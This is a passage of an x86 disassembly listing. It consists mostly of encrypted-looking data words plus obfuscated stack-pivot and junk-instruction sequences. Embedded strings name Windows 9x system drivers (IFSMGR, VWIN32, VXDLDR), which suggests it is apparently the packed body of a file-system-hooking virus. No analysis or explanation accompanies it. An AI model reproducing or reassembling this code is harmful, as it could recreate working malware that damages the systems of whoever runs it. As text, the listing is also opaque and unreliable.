		dd 29BDB6ACh, 0C3941D58h, 0F5F003B8h, 5F9630ACh, 666D198Dh
		dd 98E2C394h, 37A9916Eh, 0D7DE47BDh, 857B04FAh,	38C8h
		dd 0A6F5000h, 29BD9375h, 0C3941D58h, 0C2862EB8h, 45C3941Dh
		dd 4CD8D37Dh, 941DACD8h, 0FBDF23C3h, 9C93CA71h,	0A1A32321h
		dd 2FE8DF99h, 193754D8h, 0DE47BD23h, 7B04FAD7h,	4850BD85h
		dd 0CCD88175h, 8C739DF1h, 0FFFFFE86h, 4450BD14h, 0BDDFDF09h
		dd 63D7EA33h, 8D21CB2Fh, 0BD99E0A9h, 47B6A49Eh,	0A28EDA30h
		dd 8801811Eh, 0E4D32594h, 0E716A04Ah, 0F8DCA09Fh, 9FAAFF4Eh
		dd 5D7CEE4Dh, 637EFC30h, 277422C5h, 0CCDFCE1Ch,	273509FDh
		dd 65EFFB8Fh, 0D8764C3Ah, 0EFEA9E16h, 57D3A65h,	0EFD7B1B1h
		dd 4E563A65h, 0C6DA8377h, 5DA20BFFh, 9D280260h,	719C4CE1h
		dd 62A62A29h, 29E3E2C4h, 2C31FF00h, 6738813Eh, 0EF970394h
		dd 9C4AAE99h, 4EC5h, 27A72300h,	0C5C3941Dh, 1D5733BBh
		dd 0E2D8C394h, 81BCC944h, 1DBDCC52h, 0E05FC394h, 4BD1A1FBh
		dd 894B2EAh, 0E97DEF74h, 0BD9F6960h, 0E577E5DDh, 3AB7D35Bh
		dd 0C2383A61h, 613A4602h, 4400A43Ah, 0CB3A613Ah, 143208F7h
		dd 0C6A453h, 6FCC0000h,	186C800Dh, 0EFC3941Dh, 1A5B7ABh
		dd 0BD9F2C14h, 407F8974h, 8B51A9A6h, 0F53EEF79h, 0D01074D8h
		dd 3A60F1B4h, 2429C73Bh, 917EE5D0h, 76C44887h, 0C356FFC9h
		dd 0A17B84BBh, 7E3EE866h, 4B8A901Eh, 0BDAF83C7h, 6D5E1129h
		dd 0C6146E44h, 23149B4h, 0A1AC5ABEh, 60F27857h,	7273B8CCh
		dd 21CB0F30h, 7273F98Dh, 0DA744E30h, 0AD98EC19h, 0A0BBC1D9h
		dd 0B99A32BAh, 5B954E7Fh, 4C3BB7D3h, 0EEC2382Eh, 4984917Ch
		dd 1D287DAAh, 7FBEF1D2h, 75CA3892h, 0EE5h, 7EE5DC26h, 0A84B8691h
		dd 0C61D2C7Fh, 71E2D129h, 0A2B18C94h, 0EB31CC13h, 999E0FD4h
		dd 464EBFA4h, 0EE3BD40Fh, 71FB00D3h, 9A4289FDh,	0C9AF1EC5h
		dd 14F8D5DEh, 916550A5h, 18ECDD28h, 0E15568B1h,	2559548Ch
		dd 0C44C595Bh, 1D5632BAh, 0E1D9C394h, 80BDC647h, 0C88A153h
		dd 47B63240h, 5BBF033Eh, 90D4ADh, 0BD300000h, 1DCFBB33h
		dd 7A40C394h, 97ACF0CCh, 0D7B33B45h, 58C3941Dh,	0FA1A5B9h
		dd 6B4FD020h, 0CABB33BDh, 2EBD9F1Dh, 5E6866B1h,	0BF0E4DFFh
		dd 92F65A65h, 0BE789774h, 5E2DE63Ah, 86BDC5B4h,	1A6FDEA2h
		dd 0EF536ABAh, 43E36970h, 0E1C58CBEh, 0C197F37Bh, 22183A61h
		dd 0AFF815CEh, 485D4892h, 5BD679A6h, 197DB6F6h,	6AD11BEFh
		dd 5B6B2921h, 0A420446Fh, 2B3A61A7h, 4955F3D7h,	0B0C22833h
		dd 0ED1B3645h, 6A963C19h, 23C93144h, 7CAAA7F2h,	0D7DE1DFBh
		dd 798C79FAh, 176CC448h, 0E6C3941Dh, 0D6E3329Eh, 673561F2h
		dd 889F0EDCh, 49DD8FB9h, 0BD99E051h, 344694EEh,	738CB3C9h
		dd 0D3A5F907h, 9042259h, 0E41CC7FAh, 0C0051CCDh, 1593531h
		dd 6FD30000h, 0BD9E700Fh, 941D5829h, 0A71979C3h, 764B50BDh
		dd 5034B882h, 0D7C3941Dh, 8F618FE3h, 0BB33BD09h, 0C3941DCFh
		dd 0EACC7A40h, 0E6F23D9h, 0C8A49F71h, 0E394FBEh, 941D82C6h
		dd 133D05C3h, 0AE0A6F2Dh, 0B3818C2Bh, 4D6CA86h,	483464D7h
		dd 5C8A7F6Bh, 37A448E6h, 0E1FF6FB5h, 100620B8h,	754850BDh
		dd 4B861DBh, 29F13740h,	1F000000h, 0EB710E6Fh, 1DB1D559h
		dd 0CC36C394h, 29BD3C22h, 0C3941D58h, 102978D5h, 47BD5A3Ch
		dd 18FED3DEh, 33C8857Bh, 50000000h, 9CE40E6Fh, 0D9F4DA1h
		dd 941DED99h, 0E3E70FC3h, 64C3941Dh, 9359A11Eh,	941D6F1Bh
		dd 6C9AE0C3h, 5829BDF6h, 79C3941Dh, 47BDA719h, 18FED3DEh
		dd 0CCD857Bh, 25374005h, 4Fh, 750A6FC3h, 5829BD93h, 0B8C3941Dh
		dd 0FABBDA03h, 0FE2850E9h, 0BD473901h, 80BDC233h, 0C82ED83Ch
		dd 0E821D7DEh, 0CF58A4A4h, 5531B5A7h, 0DAC39480h, 7B2A8CE0h
		dd 0BBCF67F1h, 0CC3941Dh, 0C8221836h, 3Dh, 76129A24h, 0F9C3941Dh
		dd 6FF16781h, 0BD93750Ah, 941D5829h, 0A71979C3h, 0BDC233BDh
		dd 0BDF06680h, 860A4750h, 5EA9A442h, 7042F963h,	0C1DE2CA2h
		dd 3B4FE775h, 8CC394B6h, 7BA298B6h, 0FE9EC885h,	6F50FFFFh
		dd 40E4760Dh, 0BD99E054h, 86A709B6h, 0FDD68615h, 5C8EF453h
		dd 1E29C6FFh, 7FA9C35Ah, 0DAF700EDh, 253E5D19h,	97CBBF37h
		dd 665C3A65h, 97345292h, 0B7ED3A65h, 972BC236h,	17062C31h
		dd 9A000000h, 582C136Bh, 0A754CA64h, 0C3941D27h, 0F3605DA6h
		dd 0C204h, 0D6FAC00h, 2FD6B2ADh, 944EC387h, 0C17E44C3h
		dd 0D4C8C4B9h, 9EABEE06h, 261CBD9Eh, 5BBFC934h,	1488361Ch
		dd 0DC077B8Bh, 66EAE533h, 7FED7606h, 0C0B4898Eh, 0D8E73D8Ch
		dd 1428BC2Eh, 6B446C9Fh, 0CCD8C517h, 738562F1h,	0F56AF044h
		dd 9D764336h, 9445105h,	0C36D4185h, 509AA1FBh, 7EBC64DCh
		dd 5587FB4Eh, 1B64DE6h,	1175D9F4h, 0F12962E6h, 1F689557h
		dd 8B73122h, 0EBCA00C2h, 68BB02F6h, 7FA9ED51h, 0BF48858Eh
		dd 927ED24Eh, 6E32957Dh, 0B100000Bh, 18F56E65h,	0C6273C0Dh
		dd 0B05D86BBh, 1F886B6Ah, 9A393A05h, 5D60B853h,	2D106986h
		dd 0F0CFD936h, 44718263h, 76FE729Fh, 0C59A7E12h, 0BDBE2695h
		dd 1DCFBB33h, 434EC394h, 8E49B10Eh, 0CFA17D0Bh,	15F81646h
		dd 95273500h, 94FA7511h, 6680FAC3h, 0D3EE3BE2h,	1377FF09h
		dd 94C394FAh, 2E8880AEh, 0E730D9D4h, 8BDB00EAh,	0CF1D59EAh
		dd 0C731B25Ch, 32406426h, 6003h, 50BDED00h, 41850944h
		dd 0FE8517A7h, 1C9DF86Ch, 2812BD9Fh, 116796A4h,	776B66B3h
		dd 0ACA14F83h, 5FFC6E5Bh, 305ED486h, 0D691BF2Dh, 6DD1EC39h
		dd 6D46F0Dh, 0C11470F4h, 83953A60h, 0ED01CBB4h,	3A60C199h
		dd 1630146Eh, 34B8CA54h, 3A60C150h, 9FDC0D9h, 0D6704A35h
		dd 6A2B4B0Eh, 5D86FC44h, 6FD7DEA7h, 5D60B81Ch, 616A9579h
		dd 3C022BAAh, 0CB117569h, 85135B9h, 0ECD6C394h,	403DA142h
		dd 0DBC39408h, 3561F2CDh, 0E60EDC67h, 0BD99F595h, 6CFE6C56h
		dd 726A3ACFh, 5BF5748Eh, 49AAA7F2h, 51CCD4Bh, 213531C0h
		dd 0D3000001h, 9E700F6Fh, 1D5829BDh, 1979C394h,	7547BDA7h
		dd 0FD07F67Ah, 0EC1A7EC2h, 710E6F76h, 0D3EA3AEBh, 3D49DD6Fh
		dd 0B2C3941Dh, 92E55448h, 51FFD3A7h, 6FBCA4EBh,	0A598E00Ah
		dd 2799FDD1h, 0CCDD048h, 25374005h, 29h, 710E6FC3h, 5829BD9Fh
		dd 0D5C3941Dh, 47BD0BEDh, 0E408D3DEh, 0C3941DE0h, 593F1367h
		dd 50BD857Bh, 64DB7548h, 2Ch, 710E6F8Ch, 142474EBh, 50DFB688h
		dd 0FA140841h, 5829BD04h, 79C3941Dh, 47BDA719h,	18FED3DEh
		dd 0FE04F17Bh, 1C704D52h, 44BA54A8h, 40050CCDh,	3B2537h
		dd 0BDC30000h, 8E9D4150h, 97EB5FB3h, 0C3542579h, 5829BD6Dh
		dd 0D5C3941Dh, 47BD0BEDh, 754850BDh, 162372DBh,	0C8857BB0h
		dd 43h,	9DBB724h, 0EE6E97C1h, 5DA95F51h, 0CD7BA6ECh, 0E00A6F57h
		dd 0F0D4B891h, 495F4E9Ch, 0BD6AD07Eh, 941D5829h, 0A71979C3h
		dd 0D7DE47BDh, 0C7CB70FAh, 5F62BB3Dh, 0F06897EBh, 73E907A6h
		dd 754850BDh, 0C831D7DBh, 0FFFFFEDDh, 92A1F924h, 0C63CEA2Eh
		dd 96E30D6Fh, 9FF3D7BBh, 0CDD2C34Dh, 1EC80CF0h,	99E06256h
		dd 2B7DA8BDh, 0BA54A81Ch, 6F7655Dh, 881AC0FDh, 65AC6064h
		dd 7593E73Ah, 0D9D7A4F2h, 4F9DF1CCh, 4F3BB33Dh,	0C03A65ACh
		dd 0ACEC980Ch, 1F633A65h, 0D790D3Bh, 823A65ACh,	9706D4B8h
		dd 0CD99B782h, 3A65ACBBh, 49434256h, 2C31BDA0h,	2089h
		dd 50BD5700h, 4D817548h, 1DB3D3A3h, 0E132C394h,	2DD906D4h
		dd 0A407B731h, 0F81FD876h, 0D2h, 0EF1EBD00h, 520DA56Bh
		dd 9AE2BA54h, 92C95B81h, 90E4640Ah, 42FDD1A5h, 0B25C560Dh
		dd 9F00A322h, 4D62CBDh,	0A3B08F99h, 6B1F9721h, 0FC3A610Ch
		dd 0B4D05486h, 3B3A610Ch, 0D02429C7h, 831911E5h, 54D8156Dh
		dd 3A610C30h, 0FD6F43B7h, 610C1D69h, 0B4A8923Ah, 0F12E0EA6h
		dd 3901446Ch, 9BB2C233h, 0B95FA451h, 13357EA7h,	0C06E4204h
		dd 87BEC627h, 0A4FC2933h, 4D2F6F99h, 8802436h, 74E7FFAh
		dd 18F45E8h, 0CD3ED9F4h, 0B58891C0h, 3EEF7D51h,	0EA1BD8F5h
		dd 4CA3AC99h, 8392807Dh, 803C087h, 0F2040000h, 98EF18DBh
		dd 4E5D4AA9h, 0FF07E073h, 0AEF213C0h, 0EEF54C97h, 29CAF50Fh
		dd 599AA7FCh, 0F66D58ACh, 22310C19h, 0EF9B13D9h, 60C59A7Bh
		dd 0D5DE2B91h, 0A029146Dh, 0B3977B5Ah, 14608D5Fh, 50AA5539h
		dd 2C3F7C51h, 5CB452B6h, 3D0C1F8Eh, 72DB7549h, 0F6A01421h
		dd 0BFC831BCh, 5AAD5882h, 89A79B6Fh, 64B362EEh,	0E338E155h
		dd 32166ADEh, 0D6032A14h, 282E3241h, 36000000h,	6C800D6Fh
		dd 0C3941D18h, 0A5B7ABEFh, 9F21B001h, 0F145BDBDh, 60EF1171h
		dd 0D1DCC43Ah, 35E3123Bh, 3E3F2Ch, 6FD90000h, 40E4760Dh
		dd 0BD9F364Dh, 0A514F8C2h, 0AAA7F050h, 558EE226h, 0A46FB8h
		dd 3A60FA44h, 3286BDC5h, 0B01961DEh, 80746861h,	0DD0F1468h
		dd 6BFF3849h, 9F4DB544h, 0A529286Eh, 0D42CC761h, 0A4750BDh
		dd 0EAD6E9DCh, 63495292h, 7376EC63h, 0D20145E9h, 0BC86C394h
		dd 15639258h, 0E66A55AFh, 86FA4EA2h, 5B6E8668h,	41BD9FCAh
		dd 80744554h
		dd 86A5A24Ch, 6D6A7222h, 74738C73h, 25127036h, 2C3A1D71h
		dd 0FA140BBBh, 8D26933h, 0E0BAE5E4h, 0AC106A84h, 6650219Eh
		dd 3147834Ch, 68974770h, 8497D9F3h, 0E7B751B5h,	0C85C8E95h
		dd 8EEB62B5h, 0FB2A300Ah, 3F4993AEh, 0FD26D3B7h, 0C06E54EEh
		dd 80BDC627h, 0EEAA7247h, 0EEA1A152h, 695h, 0AEB58C96h
		dd 0D81B3641h, 76EDDC2Fh, 0A1B28199h, 0D2013C44h, 9BE17C63h
		dd 494EBFA4h, 0F63EEF74h, 9EEB04DFh, 0A14BB0A3h, 9A75790Dh
		dd 997FCEC5h, 14F8D5DEh, 0F87B56A5h, 5877816Ch,	267690F4h
		dd 0EE1FCD56h, 0E024A8A5h, 1000A446h, 72BD99E0h, 230D91CDh
		dd 5587F780h, 6567B5D1h, 26C03A3Ah, 8B600A29h, 8FC4602Ch
		dd 405441ABh, 8677DB75h, 6289467Bh, 99866698h, 617D6A9h
		dd 0E180000h, 0B4C32C37h, 62B15E85h, 31BF46Fh, 0B2C6273Ch
		dd 0FAE15083h, 3D261963h, 6DF6CBD0h, 9A597480h,	362D186Dh
		dd 0FB8F27C5h, 4CC59A75h, 0D6F07FDh, 4C40E476h,	0C3BD99E0h
		dd 57A20BFFh, 3428ED7Ah, 5FAB8666h, 5CCF8h, 8CBBCF00h
		dd 526FB657h, 24156481h, 89C8CE3Fh, 5867BD6Ah, 0D6353C9Bh
		dd 8760F3C2h, 7790437Eh, 20CD1621h, 9079FAD7h, 74B0D458h
		dd 4837C59Ah, 0E30D6FD0h, 9B41A594h, 99E03B13h,	7ACE34BDh
		dd 0C5F005F0h, 0CD7222Bh, 0AD1E6A82h, 0A9913A65h, 65AD2D59h
		dd 0B7CDA23Ah, 0B7B09488h, 86663560h, 66DCB397h, 0A9000005h
		dd 10FD665Dh, 0FE2F3405h, 0A8459EB3h, 17F06352h, 9221320Dh
		dd 5568B04Bh, 2518618Eh, 88C7D13Eh, 5C69BA6Bh, 7EF67A87h
		dd 0C59A740Ah, 0DEB62E9Dh, 0C614F8D5h, 1D5430B4h, 0E7DBC394h
		dd 1D95F175h, 201AC394h, 0C7F20706h, 0AE93E815h, 62B88880h
		dd 5C69BA63h, 201D6687h, 91F8E5Ch, 0E4764A3Eh, 941D0440h
		dd 99B78BC3h, 941DBCCDh, 0DFEA3FC3h, 4471826Bh,	6667BDF0h
		dd 0C1CC1614h, 68F2CFD8h, 1D3256DEh, 0D8B5C394h, 0C90DF1CCh
		dd 0FEB83BD5h, 4DE1739Eh, 0C3941D39h, 0C8BCB48Eh, 5FC3941Dh
		dd 51D5077Bh, 0BD99E071h, 7FF70193h, 3A65AC0Bh,	0DAAEA69Ch
		dd 0AD3A65ACh, 0A79EE455h, 0F251FFD3h, 66B36288h, 0A1F886Bh
		dd 0BC8E2D3Fh, 132FF084h, 0EF3BAD85h, 210580E6h, 91EB0307h
		dd 0AFCC608Ah, 446808h,	0B0C5303Ah, 0F319D5Eh, 574BD11Ch
		dd 8295008Ch, 63B499B7h, 0F28AE256h, 84718369h,	0CFD417Ch
		dd 2AD5C9F4h, 27C6F3F6h, 0CC98B6EFh, 4E7C47D1h,	2ED31C66h
		dd 0C5927F8Ch, 4438A4Dh, 32440000h, 0D82FD81Bh,	8E9D0AE9h
		dd 3F47A0B3h, 0EE32D300h, 0AEB50CD7h, 0E90A354Fh, 19DAE73Ch
		dd 0B6AD98ECh, 0E2714C59h, 2F5BD319h, 0A0C59A77h, 0D5DE6BD1h
		dd 50A514F8h, 0DCA0FE65h, 8C119547h, 0A1BD9F19h, 0ED019359h
		dd 3A60E799h, 16FA146Eh, 60E7AEDEh, 0EFDA2F3Ah,	5461B21Bh
		dd 0CEDDACE0h, 0EDC70FF3h, 0E18BAEE0h, 36D0E134h, 729B717Ch
		dd 5F2C3507h, 39h, 760D6FB9h, 5D140E4h,	0F15EBD9Fh, 782195A8h
		dd 6AAE122Fh, 86AE1276h, 3A60CBC6h, 0FC048113h,	40340B11h
		dd 0CB1672FAh, 0A1993A60h, 90B9A34Dh, 0B92C35C6h, 113h
		dd 23D5DE47h, 0FAE5CEEh, 78EC7E69h, 0C394D80Ch,	0F75BBF83h
		dd 0C860B865h, 0D8AC80B9h, 0B9C34AE4h, 3E4B3286h, 0C7B68B96h
		dd 0DB3F83BEh, 0DCC913E7h, 0FE4FF9C4h, 0ED5298B5h, 6453E861h
		dd 0CA070E4Dh, 2E0246h,	0E238E567h, 0FD2B6FD3h,	94C55A69h
		dd 0FDC8DDC3h, 0D47C8966h, 3E42CCEh, 0B08B41D8h, 60F2785Ch
		dd 9484B8CCh, 1DCB0FC3h, 9CA7F535h, 0B33F264Eh,	4AB0BD9Fh
		dd 0EA9E16A0h, 7D3A619Ah, 2E08EB05h, 8F27354Eh,	446C0C7Eh
		dd 0EDE93DA2h, 55F21EFBh, 2A1B6F87h, 96EC3073h,	0B5A79B78h
		dd 9EABFA2Bh, 6A1ED62Ah, 0FD30732Ah, 14816B85h,	0CB98C70Ch
		dd 506A11D3h, 0C43D4999h, 48B23073h, 1A1E8F54h,	0B072C3Bh
		dd 7CD68C70h, 2C49Bh, 84B3C700h, 6A67AE5Fh, 3C0D1C89h
		dd 81B0C627h, 506FB552h, 0CE2D3483h, 0BF688BCAh, 6F985B66h
		dd 0D8352E19h, 9861F2CFh, 71A8DC50h, 503FC59Ah,	0FBDADEE8h
		dd 6E4FEC78h, 4C2A460Dh, 65AE9F49h, 6F0D8B68h, 40E4760Dh
		dd 0BD9F05D1h, 5090645Eh, 3A60CB30h, 0E46867B1h, 63D7E235h
		dd 5F33B2F6h, 15EFFEBAh, 2C35C6F4h, 0D9DDh, 50BD3B00h
		dd 4C807445h, 635EABA2h, 0EBEA2E9Fh, 19FCCF67h,	3643C394h
		dd 0DA2FD81Bh, 79031BEFh, 7B8D78E2h, 0FA72F84Ch, 3C6BE18Eh
		dd 2BC53901h, 0D6C42D41h, 41B94260h, 0E1E5099Bh, 663A60F4h
		dd 2571F21Ch, 8C1ECC57h, 60F46C18h, 2E9FE33Ah, 0AF41EFE6h
		dd 6D642507h, 0EDC2644h, 140211FCh, 2D03F8A1h, 0EC50B408h
		dd 78BE6FA8h, 0C883D1F6h, 0EAD52F1Eh, 0B9849C09h, 6FFA8FAEh
		dd 0FC0428Ch, 1D5h, 6EF5CCD6h, 985B7681h, 362D1C6Fh, 61F2C1D9h
		dd 92417C84h, 0DB213C23h, 898E7FE4h, 367EAFB4h,	0DE2BC41Fh
		dd 618B70E3h, 9A70B9CDh, 0D9BF0EC5h, 71FBDADEh,	0A8467384h
		dd 0F8D5DECFh, 9D798372h, 2601EF8Bh, 0BD0165A3h, 0B834AF59h
		dd 0B7C2862Eh, 7D45C394h, 0D5DE6DD3h, 50A514F8h, 0DCA0FE65h
		dd 80119547h, 0ADBD9F21h, 0A286BBC0h, 0EF7616DEh, 0F1A33A60h
		dd 0FEED1CF4h, 6CD32C34h, 56B83604h, 0F075E46h,	0A24363DDh
		dd 729FB14Eh, 37ABB81Dh, 604019h, 2DD80000h, 0DB41EFDAh
		dd 76800D6Fh, 941D8AFEh, 2D251DC3h, 0C3941D59h,	6AF0D42Eh
		dd 0B5536EBBh, 0D02AB33Bh, 0E4034260h, 0B33B0AB6h, 3A605AD7h
		dd 0FAD56258h, 829861D2h, 7BEB5FB3h, 3A60420Bh,	41CBDADEh
		dd 6C804354h, 3A604218h, 88B7ABEFh, 0A403FDB9h,	0D34DFB5Bh
		dd 2C35E73Ah, 2417h, 26A7F100h,	18C3941Dh, 0F96DFF84h
		dd 0BD9F0B20h, 5A2E46D0h, 2D3A60D0h, 5A702AD5h,	6DBB265Ch
		dd 0E57E44C3h, 760D6F1Fh, 51AB5AE4h, 4D34C06Eh,	22BD9F24h
		dd 8CFC74D8h, 593A60E9h, 99C64A5Bh, 5C6BEA41h, 5A9B34Bh
		dd 3A601B41h, 0E852FCC6h, 2C341341h, 3168h, 0E4768000h
		dd 60130440h, 0BFB78B3Ah, 3A6013CBh, 0EB92B91Ch, 522D02C6h
		dd 0B994E168h, 0E157F1D5h, 941D27A7h, 0FE8517C3h, 0B21F86Ch
		dd 44BEBD9Fh, 0D6F799Fh, 0EA39E476h, 201D66D7h,	0A8C06406h
		dd 27BD99DFh, 75BE6FD3h, 196A9B58h, 0B88582Ch, 0B365F551h
		dd 72876C79h, 26739C47h, 0EF9AC12Bh, 0E293BD16h, 93C48024h
		dd 774B12F4h, 6E5BAA13h, 99E148C0h, 692BD6BAh, 5762B75Ch
		dd 3B16638Ch, 3F057h, 84180000h, 0FDD4DE9Ch, 7A57A009h
		dd 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh
		dd 40798871h, 0CFFA0DFCh, 8957CF7Bh, 4C781E7h, 83000000h
		dd 3C8704EFh, 24248B24h, 747368h, 243C8900h, 81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0BE56241Ch, 2A756D36h
		dd 0EEC1D6F7h, 0EEC14E07h, 67BA5203h, 31063B32h, 0F7895AD6h
		dd 682B685Eh, 24890000h, 24048124h, 4, 4EC815Bh, 89000000h
		dd 438F243Ch, 2434FF08h, 4C4815Bh, 8B000000h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dw 0C066h
		dd 0A9359522h, 8F4D8916h, 2B875C0h, 3060E6Fh, 0F2E0FFC5h
		dd 0EA2D9574h, 920F9A25h, 9C3D2625h, 20661F33h,	7A0672ADh
		dd 3375D8E3h, 0BB128B54h, 2731FB49h, 466646ADh,	0FC694108h
		dd 0B330CFB7h, 0EB734B1Eh, 4A2AD999h, 1F15CE50h, 302E7BC8h
		dd 0E857D206h, 0Ah, 0FA809F83h,	7218B42h, 0CCB9348Bh, 587E034Bh
		dd 0DE996AB9h, 26C08136h, 0BF000063h, 189Dh, 0BE9h, 0E431D100h
		dd 3E41353Dh, 706DBC21h, 0BA66308Bh, 0C681CD0Dh, 27494D2Fh
		dd 12E9h, 3ABD2900h, 0DDEF7D57h, 5C1B1CDCh, 6CA522B0h
		dd 8104D410h, 375B3DEEh, 0EE828h, 0AE230000h, 4CE839B8h
		dd 0A1F4411h, 83ADDE63h, 815BC3B2h, 630EDEF6h, 89D88A79h
		dd 15BBA30h, 0E8835424h, 0DE8B6604h, 0D850F4Fh,	8B000000h
		dd 24E9D8h, 1C0E0000h, 0A22D29ADh, 0EE9h, 5F2A1700h, 407AA748h
		dd 0C16A8824h, 0E9AC73B6h, 0FFFFFF80h, 8A8E19A5h, 34EB9B5Bh
		dd 4D534649h, 20205247h, 20444B56h, 20202020h, 204D4D56h
		dd 20202020h, 4E495756h, 20203233h, 4C445856h, 20205244h
		dd 3 dup(0)
		dd 80BE9h, 0F60F800h, 1F84h, 198E0F00h,	0E9000000h, 14h
		dd 928F2FE5h, 1DECAE0Fh, 53185641h, 0FC221182h,	40A73ECFh
		dd 0D810Fh, 0F600000h, 89h, 0F964B900h,	0C76177C7h, 0E70C885h
		dd 6, 198D0F00h, 0E9000000h, 14h, 0E5CE52EDh, 51A59968h
		dd 0F7625DE4h, 4DC37C37h, 64DE0831h, 6AC68Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B70FBFC3h
		dd 52006AD8h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 8A0FF51Fh, 13h, 0D890Fh,	8E90000h, 68000000h
		dd 5A2A1807h, 0C19D0021h, 9E910E8h, 0A4000000h,	2375ACBFh
		dd 5E42BFDAh, 19800Fh, 14E90000h, 0AC000000h, 0BFDA2375h
		dd 68685E42h, 0C368EFC2h, 3602CC19h, 66692F6Fh,	6A08C8C1h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 77FDC355h, 4E005C4Bh, 2F018F74h, 56E7B960h
		dd 8961224Dh, 0E70CC85h, 81F86006h, 9DC0CACAh, 8E0F6134h
		dd 7, 1810Fh, 66FC0000h, 6A08CBC1h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 6D29C351h
		dd 4AA5783Bh, 0A954989h, 0B10BBF60h, 816671CEh,	6153B3D9h
		dd 0F40FB83h, 2D85h, 0BD8DF900h, 60E70A0h, 58D0Fh, 66600000h
		dd 0E961FA8Bh, 1AEh, 0F8B0FFCh,	0E9000000h, 0Ah, 6A184759h
		dd 20D698B1h, 0FB835634h, 55850F0Dh, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0FDD6C353h, 98D0Fh, 53600000h, 1CF6BF59h, 8D614021h
		dd 0E70A8BDh, 0B8D0F06h, 0E9000000h, 6,	0F8466B05h, 47E9F878h
		dd 0E9000001h, 8, 0BB35AF54h, 9B8C9911h, 0F01FB83h, 7185h
		dd 8E900h, 0BF490000h, 671DA23Bh, 0BD8D5F91h, 60E70B0h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 5CC35646h
		dd 0FBE9FCF5h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0FFEC355h, 1986h, 14E900h
		dd 58A40000h, 0C247B3B8h, 41841A64h, 0BA479BFFh, 653F91C7h
		dd 0FB83E95Eh, 6C850F2Ah, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0F136C353h
		dd 73E03115h, 60233196h, 0FDB8166h, 0FAB70F9Eh,	0BD8DF861h
		dd 60E70B8h, 0FE9F5h, 21AE0000h, 3FA1710Ch, 8E885F5h, 0E789A0BFh
		dd 68E90Ah, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 150424h, 52420000h, 83F559C3h, 850F27FBh, 30Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 14C35343h, 33C244FEh
		dd 0FDE1D83h, 884h, 0D08B6000h,	0BEE3BE66h, 0C0BD8D61h
		dd 60060E70h, 0FCA8B66h, 8Ah, 0BD896100h, 60E70D0h, 14850Fh
		dd 0FE90000h, 0CB000000h, 38333106h, 3F8FF292h,	0BCC13093h
		dd 8C668B0Dh, 55006AC8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0BFF09E95h, 185E7218h, 10E9h, 0D976FC00h
		dd 0D200304Ch, 84DDA731h, 776EC1F2h, 6A032402h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0DCEC355h, 0DCE5FA75h, 0F820F04h, 60000000h,	6E962B2h
		dd 53000000h, 6C88FC5h,	0C00A61E0h, 177850Fh, 0BE90000h
		dd 0B3000000h, 88D87BE5h, 0ECE0E4DEh, 0B58D098Fh, 60E7768h
		dd 0CE960h, 64AE0000h, 8AE092C6h, 3AAD1F1Dh, 56579CA7h
		dd 8B615E58h, 0E782F85h, 10E86006h, 0E000000h, 41B95016h
		dd 2CBE45DAh, 729D8C1Bh, 8BDD7211h, 0C88159D7h,	76025AEAh
		dd 57609261h, 535ABDB4h, 12E9h,	9EED7300h, 59960B18h, 434644F2h
		dd 0D66AB7EEh, 5EF64F42h, 10E95061h, 8000000h, 2FF44518h
		dd 863B23E4h, 5F6EB957h, 9203326Ch, 0D0B0F560h,	4C010F61h
		dd 8F0FFE24h, 9, 66616060h, 47A7C981h, 6A5A61h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 600813C3h, 26F7CBD1h, 1840F71h, 0F5000000h, 24C283F5h
		dd 0FE9h, 0A7485F00h, 8824407Ah, 73B6C16Ah, 6763C9ACh
		dd 0C890Fh, 8E0F0000h, 6, 8F0Fh, 89660000h, 6AFC72h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0DA1052C3h, 60E9D1AEh, 0D13BBB66h, 0F4A602BFh, 0C1F5612Ah
		dd 0F6010CEh, 18Fh, 61F8FC00h, 2728966h, 9E9h, 14447800h
		dd 4640CC97h, 4CD8537h,	18E0FF8h, 0F9000000h, 0B1E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0F8C4BA72h, 2F858BD6h, 6A060E78h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 1500C357h
		dd 18F78060h, 3EB8166h,	666061D2h, 0F5DF6CB8h, 68B58D61h
		dd 6A060E77h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 73F1C357h, 0E90874D1h,	6, 1963BB2Fh
		dd 858D3C2Ch, 60E4D7Eh,	85BE6660h, 0D0FF6178h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D5C35343h, 8589F9F9h
		dd 60E70C8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0EDC35343h, 37113154h, 61431866h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 9AC35040h, 400BD282h
		dd 0FD432CFh, 1A86h, 148D0F00h,	0E9000000h, 0Fh, 0C7DB57E8h
